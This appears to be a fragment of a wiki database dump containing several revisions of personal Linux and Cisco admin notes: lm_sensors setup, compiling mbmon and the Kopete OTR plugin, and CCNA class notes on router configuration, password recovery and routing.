modules install\n\nthe device-mapper get built and put under:\n/usr/src/sbraq550src/linux-2.6.16-raq550/drivers/md\ncp -r md/ /lib/modules/2.6.16-xtr/\n(Move it to current modules directory - dm-mod.ko is it)\n\ndepmod -a\nmodproble dm_mod\n\nlsmod should now show dm_mod\n
','utf-8'),(53,'__FORCETOC__\n\n\n== Intro: ==\n\nHomepage:\n\nhttp://www.lm-sensors.org/\n\nIf you are running a 2.6 kernel, install should be pretty easy.\n\nGet lm_sensors from:\n\nhttp://dl.lm-sensors.org/lm-sensors/releases/lm_sensors-2.10.4.tar.gz\n\nThere is now a QUICKSTART file in the package. This has the simple setup for 2.6 kernels. The first part of this is excerpted and given at the end of this page. Please read this.\n\nEnsure i2c is installed - lsmod will show if it is. If not, read up and install it. \n\nThe rest of this is on how to configure the sensors to read more correct tempuratures. \n\n\'\'\'IMPORTANT:\'\'\'\n\nThe diodes and thermistors used on motherboards are extremely inexpensive. We are not going to get perfect readings from them, actually sometimes not even that close. It\'s not a sensor that NASA is going to be using real soon. The raw reading is computed using a simple algorithm to yield the final result displayed as temperature. You can make it be whatever you want. BIOS uses it\'s own formula, lm_sensors uses it and you can modify it as needed. \n\nWe can experiment and determine what the best, most broadly effective formula could be by comparing BIOS reading, lm_sensor reading and through another digital thermometer whose reading are know to be good.\n\n\n== Sensor Configuration ==\n\n\nRun sensors-detect will detect the on board sensors. This will then write changes to /etc/modules to include those discovered.\n\nOnce these modules are loaded running sensors should give you an out put like:\n\nsophelo3:/var/lib/dpkg/info# sensors\nit8712-isa-0290\nAdapter: ISA adapter\nVCore 1: +1.50 V (min = +0.00 V, max = +4.08 V)\nVCore 2: +1.49 V (min = +0.00 V, max = +4.08 V)\n+3.3V: +3.30 V (min = +0.00 V, max = +4.08 V)\n+5V: +5.00 V (min = +0.00 V, max = +6.85 V)\n+12V: +11.90 V (min = +0.00 V, max = +16.32 V)\n-12V: -5.27 V (min = -27.36 V, max = +3.93 V)\n-5V: -4.56 V (min = -13.64 V, max = +4.03 V)\nStdby: +4.95 V (min = +0.00 V, max = +6.85 V)\nVBat: +4.08 V\nfan1: 0 RPM (min = 0 RPM, div = 128)\nfan2: 0 RPM (min = 0 RPM, div = 128)\nfan3: 10714 RPM (min = 0 RPM, div = 2)\nM/B Temp: +25°C (low = +127°C, high = +127°C) sensor = thermistor\nCPU Temp: +93°C (low = +127°C, high = +127°C) sensor = diode\nTemp3: +30°C (low = +127°C, high = +127°C) sensor = diode\n
\nNote: If temperatures are completely wacky you likely need to change the sensor type from thermistor to diode or vice versa.\n\nModify /etc/sensors.conf and search for the sensor type identified in the first line of output - it8712 in this case. (You can also check in /etc/modules). This conf file is big - so just search for it. Change the line that look like this:\n\n# Temperature\n#\n# Important - if your temperature readings are completely whacky\n# you probably need to change the sensor type.\n# Adjust and uncomment the appropriate lines below.\n# The old method (modprobe it87 temp_type=0xXX) is no longer supported.\n#\n# 2 = thermistor; 3 = thermal diode; 0 = unused\n set sensor1 2\n set sensor2 3\n set sensor3 3\n# If a given sensor isn\'t used, you will probably want to ignore it\n# (see ignore statement right below).\n\n label temp1 \"M/B Temp\"\n# set temp1_over 40\n# set temp1_low 15\n label temp2 \"CPU Temp\"\n# set temp2_over 45\n# set temp2_low 15\n# ignore temp3\n label temp3 \"Temp3\"\n
\nYou must reload lm_sensors config with sensors -s for changes to take effect\n\n\n== More to Add . . . ==\n\nAdd here: more information on configuring /etc/sensors.conf.\n\nWhy are some voltages incorrect?\n\nWhy are temperatures sometimes negative?\n\nhttp://www.lm-sensors.org/wiki/iwizard/WrongTemps\n\nThermistors and Transistors as Temperature Sensors\n(How do they work anyway?)\n\nhttp://www.lm-sensors.org/browser/lm-sensors/trunk/doc/temperature-sensors\n\n\n== Quickstart ==\n\n(excerpted from Quickstart packaged with lm_sensors)\n\nLM_SENSORS QUICK INSTALLATION INSTRUCTIONS\n------------------------------------------\n\nThe instructions in this document will generally work if you have a standard\nsystem, but not always!!\n\nThe first part of document is for 2.6 kernel series, second part is for\nolder 2.4 kernels.\n\nQuickstart for Kernel 2.6\n-------------------------\n\n0) Just compile and install lm-sensors userspace tools. You can do that with:\n \'make user; make user_install\'\n1) Make sure your kernel has support for all I2C bus drivers and\n \'i2c device interface\'. If you are using a distribution kernel, all is\n already prepared, you don\'t need to recompile it.\n2) Run \'sensors-detect\' command, it will tell you what modules you need to load.\n3) Load them and run \'sensors\' command, you should see some results.\n4) Find right section in /etc/sensors.conf, fix labels, limits, fan divisors\n5) Run \'sensors -s\' to apply the changes.\n\nYou may also try our installation wizard at:\n\nhttp://www.lm-sensors.org/wiki/iwizard/1\n\nWe are aware that the documentation could be improved, please contact us if\nyou want to help us with that.\n
\n\n\nAnd form the Install doc:\n\nFOR 2.5/2.6 KERNELS, do not attempt to compile this package.\n Use the drivers already in the 2.5/2.6 kernel tree.\n If you are running a 2.5/2.6 kernel, the ONLY thing you need to\n do is \'make user\' and \'make user_install\'. Do NOT follow the rest\n of these instructions.\n
','utf-8'),(54,'__FORCETOC__\n\n[[image:lm_sensors.gif|right|frame]]\n\n== Intro: ==\n\nHomepage:\n\nhttp://www.lm-sensors.org/\n\nIf you are running a 2.6 kernel, install should be pretty easy.\n\nGet lm_sensors from:\n\nhttp://dl.lm-sensors.org/lm-sensors/releases/lm_sensors-2.10.4.tar.gz\n\nThere is now a QUICKSTART file in the package. This has the simple setup for 2.6 kernels. The first part of this is excerpted and given at the end of this page. Please read this.\n\nEnsure i2c is installed - lsmod will show if it is. If not, read up and install it. \n\nThe rest of this is on how to configure the sensors to read more correct tempuratures. \n\n\'\'\'IMPORTANT:\'\'\'\n\nThe diodes and thermistors used on motherboards are extremely inexpensive. We are not going to get perfect readings from them, actually sometimes not even that close. It\'s not a sensor that NASA is going to be using real soon. The raw reading is computed using a simple algorithm to yield the final result displayed as temperature. You can make it be whatever you want. BIOS uses it\'s own formula, lm_sensors uses it and you can modify it as needed. \n\nWe can experiment and determine what the best, most broadly effective formula could be by comparing BIOS reading, lm_sensor reading and through another digital thermometer whose reading are know to be good.\n\n\n== Sensor Configuration ==\n\n\nRun sensors-detect will detect the on board sensors. This will then write changes to /etc/modules to include those discovered.\n\nOnce these modules are loaded running sensors should give you an out put like:\n\nsophelo3:/var/lib/dpkg/info# sensors\nit8712-isa-0290\nAdapter: ISA adapter\nVCore 1: +1.50 V (min = +0.00 V, max = +4.08 V)\nVCore 2: +1.49 V (min = +0.00 V, max = +4.08 V)\n+3.3V: +3.30 V (min = +0.00 V, max = +4.08 V)\n+5V: +5.00 V (min = +0.00 V, max = +6.85 V)\n+12V: +11.90 V (min = +0.00 V, max = +16.32 V)\n-12V: -5.27 V (min = -27.36 V, max = +3.93 V)\n-5V: -4.56 V (min = -13.64 V, max = +4.03 V)\nStdby: +4.95 V (min = +0.00 V, max = +6.85 V)\nVBat: +4.08 V\nfan1: 0 RPM (min = 0 RPM, div = 128)\nfan2: 0 RPM (min = 0 RPM, div = 128)\nfan3: 10714 RPM (min = 0 RPM, div = 2)\nM/B Temp: +25°C (low = +127°C, high = +127°C) sensor = thermistor\nCPU Temp: +93°C (low = +127°C, high = +127°C) sensor = diode\nTemp3: +30°C (low = +127°C, high = +127°C) sensor = diode\n
\nNote: If temperatures are completely wacky you likely need to change the sensor type from thermistor to diode or vice versa.\n\nModify /etc/sensors.conf and search for the sensor type identified in the first line of output - it8712 in this case. (You can also check in /etc/modules). This conf file is big - so just search for it. Change the line that look like this:\n\n# Temperature\n#\n# Important - if your temperature readings are completely whacky\n# you probably need to change the sensor type.\n# Adjust and uncomment the appropriate lines below.\n# The old method (modprobe it87 temp_type=0xXX) is no longer supported.\n#\n# 2 = thermistor; 3 = thermal diode; 0 = unused\n set sensor1 2\n set sensor2 3\n set sensor3 3\n# If a given sensor isn\'t used, you will probably want to ignore it\n# (see ignore statement right below).\n\n label temp1 \"M/B Temp\"\n# set temp1_over 40\n# set temp1_low 15\n label temp2 \"CPU Temp\"\n# set temp2_over 45\n# set temp2_low 15\n# ignore temp3\n label temp3 \"Temp3\"\n
\nYou must reload lm_sensors config with sensors -s for changes to take effect\n\n\n== More to Add . . . ==\n\nAdd here: more information on configuring /etc/sensors.conf.\n\nWhy are some voltages incorrect?\n\nWhy are temperatures sometimes negative?\n\nhttp://www.lm-sensors.org/wiki/iwizard/WrongTemps\n\nThermistors and Transistors as Temperature Sensors\n(How do they work anyway?)\n\nhttp://www.lm-sensors.org/browser/lm-sensors/trunk/doc/temperature-sensors\n\n\n== Quickstart ==\n\n(excerpted from Quickstart packaged with lm_sensors)\n\nLM_SENSORS QUICK INSTALLATION INSTRUCTIONS\n------------------------------------------\n\nThe instructions in this document will generally work if you have a standard\nsystem, but not always!!\n\nThe first part of document is for 2.6 kernel series, second part is for\nolder 2.4 kernels.\n\nQuickstart for Kernel 2.6\n-------------------------\n\n0) Just compile and install lm-sensors userspace tools. You can do that with:\n \'make user; make user_install\'\n1) Make sure your kernel has support for all I2C bus drivers and\n \'i2c device interface\'. If you are using a distribution kernel, all is\n already prepared, you don\'t need to recompile it.\n2) Run \'sensors-detect\' command, it will tell you what modules you need to load.\n3) Load them and run \'sensors\' command, you should see some results.\n4) Find right section in /etc/sensors.conf, fix labels, limits, fan divisors\n5) Run \'sensors -s\' to apply the changes.\n\nYou may also try our installation wizard at:\n\nhttp://www.lm-sensors.org/wiki/iwizard/1\n\nWe are aware that the documentation could be improved, please contact us if\nyou want to help us with that.\n
\n\n\nAnd form the Install doc:\n\nFOR 2.5/2.6 KERNELS, do not attempt to compile this package.\n Use the drivers already in the 2.5/2.6 kernel tree.\n If you are running a 2.5/2.6 kernel, the ONLY thing you need to\n do is \'make user\' and \'make user_install\'. Do NOT follow the rest\n of these instructions.\n
','utf-8'),(55,'','utf-8'),(56,'__FORCETOC__\n\n[[image:lm_sensors.gif|right|frame]]\n\n== Intro: ==\n\nHomepage:\n\nhttp://www.lm-sensors.org/\n\nIf you are running a 2.6 kernel, install should be pretty easy.\n\nGet lm_sensors from:\n\nhttp://dl.lm-sensors.org/lm-sensors/releases/lm_sensors-2.10.4.tar.gz\n\nThere is now a QUICKSTART file in the package. This has the simple setup for 2.6 kernels. The first part of this is excerpted and given at the end of this page. Please read this.\n\nEnsure i2c is installed - lsmod will show if it is. If not, read up and install it. \n\nThe rest of this is on how to configure the sensors to read more correct tempuratures. \n\n\'\'\'IMPORTANT:\'\'\'\n\nThe diodes and thermistors used on motherboards are extremely inexpensive. We are not going to get perfect readings from them, actually sometimes not even that close. It\'s not a sensor that NASA is going to be using real soon. The raw reading is computed using a simple algorithm to yield the final result displayed as temperature. You can make it be whatever you want. BIOS uses it\'s own formula, lm_sensors uses it and you can modify it as needed. \n\nWe can experiment and determine what the best, most broadly effective formula could be by comparing BIOS reading, lm_sensor reading and through another digital thermometer whose reading are know to be good.\n\n\n== Sensor Configuration ==\n\n\nRun sensors-detect will detect the on board sensors. This will then write changes to /etc/modules to include those discovered.\n\nOnce these modules are loaded running sensors should give you an out put like:\n\nsophelo3:/var/lib/dpkg/info# sensors\nit8712-isa-0290\nAdapter: ISA adapter\nVCore 1: +1.50 V (min = +0.00 V, max = +4.08 V)\nVCore 2: +1.49 V (min = +0.00 V, max = +4.08 V)\n+3.3V: +3.30 V (min = +0.00 V, max = +4.08 V)\n+5V: +5.00 V (min = +0.00 V, max = +6.85 V)\n+12V: +11.90 V (min = +0.00 V, max = +16.32 V)\n-12V: -5.27 V (min = -27.36 V, max = +3.93 V)\n-5V: -4.56 V (min = -13.64 V, max = +4.03 V)\nStdby: +4.95 V (min = +0.00 V, max = +6.85 V)\nVBat: +4.08 V\nfan1: 0 RPM (min = 0 RPM, div = 128)\nfan2: 0 RPM (min = 0 RPM, div = 128)\nfan3: 10714 RPM (min = 0 RPM, div = 2)\nM/B Temp: +25°C (low = +127°C, high = +127°C) sensor = thermistor\nCPU Temp: +93°C (low = +127°C, high = +127°C) sensor = diode\nTemp3: +30°C (low = +127°C, high = +127°C) sensor = diode\n
\nNote: If temperatures are completely wacky you likely need to change the sensor type from thermistor to diode or vice versa.\n\nModify /etc/sensors.conf and search for the sensor type identified in the first line of output - it8712 in this case. (You can also check in /etc/modules). This conf file is big - so just search for it. Change the line that look like this:\n\n# Temperature\n#\n# Important - if your temperature readings are completely whacky\n# you probably need to change the sensor type.\n# Adjust and uncomment the appropriate lines below.\n# The old method (modprobe it87 temp_type=0xXX) is no longer supported.\n#\n# 2 = thermistor; 3 = thermal diode; 0 = unused\n set sensor1 2\n set sensor2 3\n set sensor3 3\n# If a given sensor isn\'t used, you will probably want to ignore it\n# (see ignore statement right below).\n\n label temp1 \"M/B Temp\"\n# set temp1_over 40\n# set temp1_low 15\n label temp2 \"CPU Temp\"\n# set temp2_over 45\n# set temp2_low 15\n# ignore temp3\n label temp3 \"Temp3\"\n
\nYou must reload lm_sensors config with sensors -s for changes to take effect\n\n\n== More to Add . . . ==\n\nAdd here: more information on configuring /etc/sensors.conf.\n\nWhy are some voltages incorrect?\n\nWhy are temperatures sometimes negative?\n\nhttp://www.lm-sensors.org/wiki/iwizard/WrongTemps\n\nThermistors and Transistors as Temperature Sensors\n(How do they work anyway?)\n\nhttp://www.lm-sensors.org/browser/lm-sensors/trunk/doc/temperature-sensors\n\n\n== Quickstart ==\n\n(excerpted from Quickstart packaged with lm_sensors)\n\nLM_SENSORS QUICK INSTALLATION INSTRUCTIONS\n------------------------------------------\n\nThe instructions in this document will generally work if you have a standard\nsystem, but not always!!\n\nThe first part of document is for 2.6 kernel series, second part is for\nolder 2.4 kernels.\n\nQuickstart for Kernel 2.6\n-------------------------\n\n0) Just compile and install lm-sensors userspace tools. You can do that with:\n \'make user; make user_install\'\n1) Make sure your kernel has support for all I2C bus drivers and\n \'i2c device interface\'. If you are using a distribution kernel, all is\n already prepared, you don\'t need to recompile it.\n2) Run \'sensors-detect\' command, it will tell you what modules you need to load.\n3) Load them and run \'sensors\' command, you should see some results.\n4) Find right section in /etc/sensors.conf, fix labels, limits, fan divisors\n5) Run \'sensors -s\' to apply the changes.\n\nYou may also try our installation wizard at:\n\nhttp://www.lm-sensors.org/wiki/iwizard/1\n\nWe are aware that the documentation could be improved, please contact us if\nyou want to help us with that.\n
\n\n\nAnd form the Install doc:\n\nFOR 2.5/2.6 KERNELS, do not attempt to compile this package.\n Use the drivers already in the 2.5/2.6 kernel tree.\n If you are running a 2.5/2.6 kernel, the ONLY thing you need to\n do is \'make user\' and \'make user_install\'. Do NOT follow the rest\n of these instructions.\n
\n\n== mbmon - Fix Me ==\n\n(This needs further work to make it work on CentOS. Help out if you want.)\n\nAn alternative is mbmon, however this is not available as a yum package for CentOS.\n\nYou can make an .rpm created from the Debian package with alien, but attempting to install it will have a failed dependency: \n\nperl(RRDs) is needed by mbmon-2.05-5.i386\n\nThis is resolved by installing:\n\nrpm -ivh perl-rrdtool-1.2.12-1.2.el4.test rrdtool-1.2.12-1.2.el4.test rrdtool-devel-1.2.12-1.2.el4.test\n(Or latest)\n\nWhich are available from: http://dag.wieers.com/packages/rrdtool/\n\n(All four above rpms (including the aliened mbmon itself) are on the file server under mbmon) \n\nHowever, after install those three rpms and trying to install the mbmon again you will get:\n\nroot@Tardis [~]# rpm -Uvh mbmon-2.05-5.i386.rpm\nPreparing... ########################################### [100%]\nfile /etc/init.d from install of mbmon-2.05-5 conflicts with file from package chkconfig-1.3.13.4-1\n
\nSo . . . \n\nYou can compile it from source available at:\n\nhttp://www.nt.phys.kyushu-u.ac.jp/shimizu/download/download.html\n\n(This is the source for both the xmbmon and mbmon)\n\nWhile this should be a simple ./configure make make install it also runs into trouble, giving me:\n\nCallandor:~/xmbmon200 # make\ngcc -c -O3 -I. -DHAVE_CONFIG_H -Wall getMBinfo.c\nIn file included from pci_pm.h:16,\nfrom getMBinfo.c:22:\nio_cpu.h:13:29: error: machine/cpufunc.h: No such file or directory\ngetMBinfo.c: In function ‘InitMBInfo’:\ngetMBinfo.c:220: warning: implicit declaration of function ‘strcmp’\nmake: *** [getMBinfo.o] Error 1\n
\nOn two test CentOS boxes I tried it on.\n\nTo be continued . . .','utf-8'),(57,'\n== Transparent Terminal ==\n\nChangeMe-2-Prod-2:~ archimedes$ cat .bash_profile \n\nexport CLICOLORS=1\n\ndefaults write com.apple.terminal TerminalOpaqueness \'0.85\'\n\nalias ls=\"ls -G\"','utf-8'),(58,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\n\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make make install\n\n\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one:\n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel\n\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2','utf-8'),(59,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\n\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make make install\n\n\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one. Also make sure you actually have the c++ compilier installed - it is not by default and if not you will get an error when you run configure:\n\nconfigure: error: Your Installation isn\'t able to compile simple C++ programs.\nCheck config.log for details - if you\'re using a Linux distribution you might miss\na package named similar to libstdc++-dev\n\nInstall these packages to be able to build C++ programs: \n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel gcc-c++ xorg-x11-devel\n\n(You also need the X11 development libraries as above)\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2\n\nWith all the packages listed above installed you should just be able to do the usual:\n\n./configure\n./make && make install','utf-8'),(60,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\n\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make make install\n\n\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one. Also make sure you actually have the c++ compilier installed - it is not by default and if not you will get an error when you run configure:\n\nconfigure: error: Your Installation isn\'t able to compile simple C++ programs.\nCheck config.log for details - if you\'re using a Linux distribution you might miss\na package named similar to libstdc++-dev\n\nInstall these packages to be able to build C++ programs: \n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel gcc-c++ xorg-x11-devel libqt4-devel qt3-devel kdelibs3-devel\n\n(You also need the X11 development & KDE dev libraries as above)\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2\n\nWith all the packages listed above installed you should just be able to do the usual:\n\n./configure\n./make && make install','utf-8'),(61,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\n\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make make install\n\n\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one. Also make sure you actually have the c++ compilier installed - it is not by default and if not you will get an error when you run configure:\n\nconfigure: error: Your Installation isn\'t able to compile simple C++ programs.\nCheck config.log for details - if you\'re using a Linux distribution you might miss\na package named similar to libstdc++-dev\n\nInstall these packages to be able to build C++ programs: \n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel gcc-c++ xorg-x11-devel libqt4-devel qt3-devel kdelibs3-devel kdenetwork3-devel \n\n(You also need the X11 development & KDE dev libraries as above)\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2\n\nWith all the packages listed above installed you should just be able to do the usual:\n\n./configure\n./make && make install','utf-8'),(62,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\n\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make make install\n\n\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one. Also make sure you actually have the c++ compilier installed - it is not by default and if not you will get an error when you run configure:\n\nconfigure: error: Your Installation isn\'t able to compile simple C++ programs.\nCheck config.log for details - if you\'re using a Linux distribution you might miss\na package named similar to libstdc++-dev\n\nInstall these packages to be able to build C++ programs: \n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel gcc-c++ xorg-x11-devel libqt4-devel\n #qt3-devel kdelibs3-devel kdenetwork3-devel \n\n(You also need the X11 development & KDE dev libraries as above)\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2\n\nWith all the packages listed above installed you should just be able to do the usual:\n\n./configure\n./make && make install','utf-8'),(63,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\n\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make make install\n\n\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one. Also make sure you actually have the c++ compilier installed - it is not by default and if not you will get an error when you run configure:\n\nconfigure: error: Your Installation isn\'t able to compile simple C++ programs.\nCheck config.log for details - if you\'re using a Linux distribution you might miss\na package named similar to libstdc++-dev\n\nInstall these packages to be able to build C++ programs: \n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel gcc-c++ xorg-x11-devel libqt4-devel\n #qt3-devel kdelibs3-devel kdenetwork3-devel \n\n(You also need the X11 development & KDE dev libraries as above)\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2\n\nWith all the packages listed above installed you should just be able to do the usual:\n\n./configure\n./make && make install\nor\n./checkinstall to build the .rpm instead\n(Do this as it\'s easier to remove the .rpm, install onto another system, etc.)','utf-8'),(64,'__FORCETOC__ [[image:CiscoLogo.jpeg|frame|right]]\n\n Cisco Certified Network Associate\n class notes - St. Pete College \n\n\n== CCNA 1 == \n\n\'\'\'Networking Bascis\'\'\'\n\n\'\'\'Rewiring your POD\'\'\'\n\nErase startup-config #clear config in NVRAM\nReload\n\nConfig t\nHostname RouterB\n\nWr #to save\n\n\'\'\'Password Recovery\'\'\'\n\nConfig register 0x2102 default value\n\nBits 0,1,2,3 Boot filed (2101 boot IOS ROM, 2102 full IOS (flash))\nBit 6 Ignore NVRAM\n\n0x2142 #ignore NVRAM\n\nCtrl – break during post to get to ROM MON\n\n>o #Displays current config register\n\n>o/r 0x2142 #Set to 2142 hex\n\n>I #Initialize\n\nOnce in IOS:\n\nCopy star run #copies NVRAM into running config\n\nConfig t\nConfig-register 0x2101\n\nSh run #shows current passwords\n\nChange password(s)\n\nCopy run star #save modified settings to NVRAM\n\nSh ver #verify config register is 0x2102 now\n\nPower off and on (or \'reload\')\n\n\n\'\'\'Initial Router Config\'\'\'\n\nFive passwords:\n\n1.Virtual Terminal\nSh line to view line status or sh session to show current telnet session\n\nLine vty 0 4\nLogin\nPassword < >\n\n2.Console Password\n\nLine con 0\n\n\n3.Auxiliary password\n\nLine aux 0\n\n\n4.Privileged mode – level 15 commands\n\na.Enable password < > Type 7 – weak password\nb.Enable secret < > MD5 \n\n5.Encrypt all passwords:\n\nService password-encrypt\n\n\n\'\'\'Global Config:\'\'\'\n\nEnable\nConfig t\nHostname RouterB\nNo ip domain-lookup (stops IOS searching for a DNS server in case of typos)\nNo exec-timeout (disable telent time out period)\n\n\n\'\'\'Interface config:\'\'\'\n\n(config-if) int s0/0 or int s 0\nIp address 172.16.20.2 255.255.255.0\nBandwidth 56\n\nInt s 0/1\nIp address 172.16.40.1 255.255.255.0\nBandwidth 56\nNo shutdown\n\nShow controllers serial 0/0 to display DCE/DTE status\n\n\'\'\'Clock rate setting:\'\'\'\n\nInt s0/0\nClock rate 56000\nInt s0/1\nClock rate 56000\n\nSh run (review total config)\n\nSh int (status of interfaces)\n\nSh ip int brief (brief status)\n\nNo shutdown to bring an interface administratively up. If an interface is up but the line protocol is down there is a problem with the physical connection of clocking on either the DCE OR DTE side – it could be the other router’s settings.\n\n\'\'\'Clock setting:\'\'\'\n\nClock set 21:30:00 Jan 18 2007\nSh clock\n\n\'\'\'TFTP’ing between routers:\'\'\'\n\nAddress the e0 ports so they are on same lan\nVerify connectivity with ping\nOn router A: show flash (highlight & copy the IOS filename)\nOn router A: tftp-server flash: {IOS filename}\nOn client router(s): copy tftp flash\nWhen prompted, enter IOS filename\n\n\n\'\'\'Configuring DHCP\'\'\'\n\nConfig t\nService dhcp\nIp dhcp pool 10-net (10-net is whatever name you wish)\nNetwork 172.16.0.0 255.255.255.0\nRouter(dhcp-config)# default-router 172.16.x.1\nDns-server 172.16.x.3\nNetbios-name-server 72.16.x.4\nDomain-name xyz.net\nExit\n\nIp dhcp excluded-address 172.16.x.1 172.16.x.10\n(Will cause first ip to be 172.16.x.11\n\n\'\'\'Stopping / starting dhcp:\'\'\'\n\nNo service dhcp\nService dhcp (restarts)\n\n\n\'\'\'Address Resolution Protocol\'\'\'\n\nArp –g displays cache\nArp –s assigns static entry\nArp –d removes entry\n\n\n\'\'\'IP MULTICASTING:\'\'\'\n\nhttp://host50.ipowerweb.com/~netflow/livecaster.exe\nsong.mp3 should be in livecaster folder\nalso freeamp.exe and \n\nVerify you can ping the multicast server\n\nUser network spy and view packets, look for the multicast\n\nIn freeamp, enter in the URL box:\nRtp://:port number\n\n== CCNA 2 ==\n\n\'\'\'Routers and Routing Basics\'\'\'\n\n\'\'\'TFTP:\'\'\'\n\nsh flash\n\nTells filename, size, etc. \n\ncopy flash {run} tftp\n\nBooting from TFTP:\n\nRouter(config)#boot system tftp \n\n\'\'\'CDP:\'\'\'\n\nRouterB(config)# int s0\nRouterB(Config-if)#cdp enabled\nRouterB(config-if)#int s1\nRouterB(Config-if)#cdp enabled\n\nsh cdp int #shows status of CDP advertisements on interfaces.\n\nsh cdp neighbors\n\nsh cdp neighbors detail\n\nrouter odr #enables ODR on hub router\n\n\'\'\'Configuring VTY Usernames & PW\'\'\'\n\nrouterB(config)#username admin privilege 15 password guru\n\nConfigure VTY to use a local database rather than password prompt:\n\nRouterB(config)# line vty 0 4\nRouterB(config-line)#no password\nRouterB(config-line)#login local\n\n\'\'\'Creating a new user level and defining access:\'\'\'\n\nRouterB(config)#username support privilage 7 password novice\nRouterB(config)#privilege exec level 7 show star\nRouterB(config)#privilege exec level 7 configure terminal\nRouterB(config)#privilege configure level 7 interface \nRouterB(config)#privilege interface level 7 no shut\n\nshow privileges #show your current privilege level\n\nsh users #shows connected users and lines\n\nclear #bumps that line\n\nctrl-shift-6 +x default escape sequence \n\nRouterB(config-line)#login\nRouterB(config-line)#escape-sequence 27 #sets escape seq. to ASCII 27 (Esc)\n\n\n\'\'\'RIP:\'\'\'\n\nRouterB(config)#router rip\nRouterB(config-router)#version 2 #uses ver. 2, subnetting\nRouterB(config-router)#network 172.16.0.0\n\nsh ip route # views routing tables\n\nsh ip protocol # view info on RIP timers\n\ntracert # view what route to dest is active\n\n\n\'\'\'Static Routes:\'\'\'\n\nAdd static routes for RouterB\n\nip route 172.16.10.1 255.255.255.0 172.16.20.1\nip route 172.16.50.1 255.255.255.0 172.16.40.2\n\nno ip route 172.16.10.1 255.255.255.0 # to remove 